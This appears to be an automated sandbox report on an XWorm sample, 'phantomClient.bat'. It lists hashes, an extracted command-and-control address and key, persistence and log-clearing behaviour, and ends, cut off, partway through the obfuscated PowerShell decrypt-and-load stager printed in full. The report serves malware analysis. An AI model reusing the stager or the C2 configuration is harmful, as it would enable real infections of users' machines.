Analysis
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max time kernel
150s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-01-2025 22:45
Static task
static1
Behavioral task
behavioral1
Sample
phantomClient.bat
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
phantomClient.bat
Resource
win10v2004-20241007-en
General
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Target
phantomClient.bat
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Size
278KB
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MD5
c7f70f6597b99690acab02390af9a913
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SHA1
ec989e5b37d4d9bf56d9b330ed97826313ae3255
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SHA256
f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590
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SHA512
991f4c36731dea73455da9a81185af01fb54cda915b5632edbc3f2251648745e47fd09b21d6548dcae170b1bfcf470b89f311cefc6733013be23667b31ae036b
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SSDEEP
6144:3LDqmpofOLfpSCTvwLEbxm1/zGfAaWK6NY8M2PZaNSRw4ia:bDqmpofOLfh73KqltvChaivL
Malware Config
Extracted
xworm
5.0
real-enquiry.gl.at.ply.gg:15403
Twor9QJPgxqGUGz9
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Install_directory
%Public%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/4856-146-0x0000023BCB590000-0x0000023BCB5A0000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 6 IoCs
flow pid Process 19 4856 powershell.exe 28 4856 powershell.exe 51 4856 powershell.exe 55 4856 powershell.exe 60 4856 powershell.exe 61 4856 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4856 powershell.exe 2988 powershell.exe 2888 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk powershell.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$phantomClient = "C:\\Users\\Public\\$phantomClient" powershell.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\Z: svchost.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 18 ip-api.com -
Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe -
Modifies data under HKEY_USERS 51 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02ikgcistthngxhn" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ikgcistthngxhn\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001800122AADFFCB" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ikgcistthngxhn\DeviceId = "<Data LastUpdatedTime=\"1737499548\"><User username=\"02IKGCISTTHNGXHN\"><HardwareInfo BoundTime=\"1737499548\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ikgcistthngxhn svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ikgcistthngxhn\DeviceId = "<Data LastUpdatedTime=\"1737499548\"><User username=\"02IKGCISTTHNGXHN\"/></Data>\r\n" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ikgcistthngxhn\Provision Tuesday, January 21, 2025 22:45:48 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA2J1yVrK5sECZ22Q5mKjaOQAAAAACAAAAAAAQZgAAAAEAACAAAABr5S2lIJkZfBQkZHr+3w0JAkZ2rQBr3H+HMa0KqSUdWgAAAAAOgAAAAAIAACAAAAAMkiyJfoaCJ6A5BfAtGQPob01jw7g9bDfvMUQbwJM2sSAAAABi+ALklLBE87rcIIM4hTUYnjjxlDBDXRed4PhcX1M4iUAAAACiYu9BkHCI0DtHbsAXfLVt8kjV2FKlZUepvL2FBPQlaR34XrPFyVQOGDkfpq/ozGRInKOGQlqQF7siVnS4hBD1" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ikgcistthngxhn svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ikgcistthngxhn\DeviceId = "<Data LastUpdatedTime=\"1737499548\"><User username=\"02IKGCISTTHNGXHN\"><HardwareInfo BoundTime=\"1737499549\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings powershell.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2988 powershell.exe 2988 powershell.exe 2888 powershell.exe 2888 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe 4856 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2988 powershell.exe Token: SeDebugPrivilege 2888 powershell.exe Token: SeIncreaseQuotaPrivilege 2888 powershell.exe Token: SeSecurityPrivilege 2888 powershell.exe Token: SeTakeOwnershipPrivilege 2888 powershell.exe Token: SeLoadDriverPrivilege 2888 powershell.exe Token: SeSystemProfilePrivilege 2888 powershell.exe Token: SeSystemtimePrivilege 2888 powershell.exe Token: SeProfSingleProcessPrivilege 2888 powershell.exe Token: SeIncBasePriorityPrivilege 2888 powershell.exe Token: SeCreatePagefilePrivilege 2888 powershell.exe Token: SeBackupPrivilege 2888 powershell.exe Token: SeRestorePrivilege 2888 powershell.exe Token: SeShutdownPrivilege 2888 powershell.exe Token: SeDebugPrivilege 2888 powershell.exe Token: SeSystemEnvironmentPrivilege 2888 powershell.exe Token: SeRemoteShutdownPrivilege 2888 powershell.exe Token: SeUndockPrivilege 2888 powershell.exe Token: SeManageVolumePrivilege 2888 powershell.exe Token: 33 2888 powershell.exe Token: 34 2888 powershell.exe Token: 35 2888 powershell.exe Token: 36 2888 powershell.exe Token: SeIncreaseQuotaPrivilege 2888 powershell.exe Token: SeSecurityPrivilege 2888 powershell.exe Token: SeTakeOwnershipPrivilege 2888 powershell.exe Token: SeLoadDriverPrivilege 2888 powershell.exe Token: SeSystemProfilePrivilege 2888 powershell.exe Token: SeSystemtimePrivilege 2888 powershell.exe Token: SeProfSingleProcessPrivilege 2888 powershell.exe Token: SeIncBasePriorityPrivilege 2888 powershell.exe Token: SeCreatePagefilePrivilege 2888 powershell.exe Token: SeBackupPrivilege 2888 powershell.exe Token: SeRestorePrivilege 2888 powershell.exe Token: SeShutdownPrivilege 2888 powershell.exe Token: SeDebugPrivilege 2888 powershell.exe Token: SeSystemEnvironmentPrivilege 2888 powershell.exe Token: SeRemoteShutdownPrivilege 2888 powershell.exe Token: SeUndockPrivilege 2888 powershell.exe Token: SeManageVolumePrivilege 2888 powershell.exe Token: 33 2888 powershell.exe Token: 34 2888 powershell.exe Token: 35 2888 powershell.exe Token: 36 2888 powershell.exe Token: SeIncreaseQuotaPrivilege 2888 powershell.exe Token: SeSecurityPrivilege 2888 powershell.exe Token: SeTakeOwnershipPrivilege 2888 powershell.exe Token: SeLoadDriverPrivilege 2888 powershell.exe Token: SeSystemProfilePrivilege 2888 powershell.exe Token: SeSystemtimePrivilege 2888 powershell.exe Token: SeProfSingleProcessPrivilege 2888 powershell.exe Token: SeIncBasePriorityPrivilege 2888 powershell.exe Token: SeCreatePagefilePrivilege 2888 powershell.exe Token: SeBackupPrivilege 2888 powershell.exe Token: SeRestorePrivilege 2888 powershell.exe Token: SeShutdownPrivilege 2888 powershell.exe Token: SeDebugPrivilege 2888 powershell.exe Token: SeSystemEnvironmentPrivilege 2888 powershell.exe Token: SeRemoteShutdownPrivilege 2888 powershell.exe Token: SeUndockPrivilege 2888 powershell.exe Token: SeManageVolumePrivilege 2888 powershell.exe Token: 33 2888 powershell.exe Token: 34 2888 powershell.exe Token: 35 2888 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4592 wrote to memory of 2800 4592 cmd.exe 85 PID 4592 wrote to memory of 2800 4592 cmd.exe 85 PID 2800 wrote to memory of 1316 2800 net.exe 86 PID 2800 wrote to memory of 1316 2800 net.exe 86 PID 4592 wrote to memory of 1936 4592 cmd.exe 87 PID 4592 wrote to memory of 1936 4592 cmd.exe 87 PID 4592 wrote to memory of 2988 4592 cmd.exe 88 PID 4592 wrote to memory of 2988 4592 cmd.exe 88 PID 2988 wrote to memory of 2888 2988 powershell.exe 89 PID 2988 wrote to memory of 2888 2988 powershell.exe 89 PID 2988 wrote to memory of 1428 2988 powershell.exe 92 PID 2988 wrote to memory of 1428 2988 powershell.exe 92 PID 1428 wrote to memory of 824 1428 WScript.exe 93 PID 1428 wrote to memory of 824 1428 WScript.exe 93 PID 824 wrote to memory of 4344 824 cmd.exe 95 PID 824 wrote to memory of 4344 824 cmd.exe 95 PID 4344 wrote to memory of 4708 4344 net.exe 96 PID 4344 wrote to memory of 4708 4344 net.exe 96 PID 824 wrote to memory of 3012 824 cmd.exe 97 PID 824 wrote to memory of 3012 824 cmd.exe 97 PID 824 wrote to memory of 4856 824 cmd.exe 98 PID 824 wrote to memory of 4856 824 cmd.exe 98 PID 4856 wrote to memory of 3560 4856 powershell.exe 56 PID 4856 wrote to memory of 1180 4856 powershell.exe 20 PID 4856 wrote to memory of 5100 4856 powershell.exe 68 PID 4856 wrote to memory of 2748 4856 powershell.exe 46 PID 4856 wrote to memory of 1760 4856 powershell.exe 30 PID 4856 wrote to memory of 3472 4856 powershell.exe 55 PID 4856 wrote to memory of 3724 4856 powershell.exe 66 PID 4856 wrote to memory of 1160 4856 powershell.exe 19 PID 4856 wrote to memory of 960 4856 powershell.exe 12 PID 4856 wrote to memory of 1956 4856 powershell.exe 33 PID 4856 wrote to memory of 2532 4856 powershell.exe 43 PID 4856 wrote to memory of 4500 4856 powershell.exe 77 PID 4856 wrote to memory of 1344 4856 powershell.exe 23 PID 4856 wrote to memory of 1532 4856 powershell.exe 27 PID 4856 wrote to memory of 1728 4856 powershell.exe 35 PID 4856 wrote to memory of 1924 4856 powershell.exe 37 PID 4856 wrote to memory of 1332 4856 powershell.exe 22 PID 4856 wrote to memory of 1132 4856 powershell.exe 18 PID 4856 wrote to memory of 3692 4856 powershell.exe 57 PID 4856 wrote to memory of 1524 4856 powershell.exe 26 PID 4856 wrote to memory of 1720 4856 powershell.exe 29 PID 4856 wrote to memory of 2896 4856 powershell.exe 50 PID 4856 wrote to memory of 912 4856 powershell.exe 11 PID 4856 wrote to memory of 2684 4856 powershell.exe 45 PID 4856 wrote to memory of 2876 4856 powershell.exe 49 PID 4856 wrote to memory of 1108 4856 powershell.exe 17 PID 4856 wrote to memory of 1668 4856 powershell.exe 28 PID 4856 wrote to memory of 2068 4856 powershell.exe 53 PID 4856 wrote to memory of 1468 4856 powershell.exe 25 PID 4856 wrote to memory of 3240 4856 powershell.exe 76 PID 4856 wrote to memory of 2244 4856 powershell.exe 41 PID 4856 wrote to memory of 2840 4856 powershell.exe 48 PID 4856 wrote to memory of 1460 4856 powershell.exe 24 PID 4856 wrote to memory of 1748 4856 powershell.exe 73 PID 4856 wrote to memory of 1056 4856 powershell.exe 16 PID 4856 wrote to memory of 3616 4856 powershell.exe 69 PID 4856 wrote to memory of 1840 4856 powershell.exe 32 PID 4856 wrote to memory of 1292 4856 powershell.exe 21 PID 4856 wrote to memory of 2228 4856 powershell.exe 40 PID 4856 wrote to memory of 2516 4856 powershell.exe 42 PID 4856 wrote to memory of 1040 4856 powershell.exe 15 PID 4856 wrote to memory of 2220 4856 powershell.exe 39 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵PID:788
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:2564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:428
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1056
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1160
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1468
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1668
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1956
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1992
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:1780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1924
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2220
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2748
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2840
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2068
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3472
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3560
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\phantomClient.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\system32\net.exenet file3⤵
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file4⤵PID:1316
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Local\Temp\phantomClient.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); 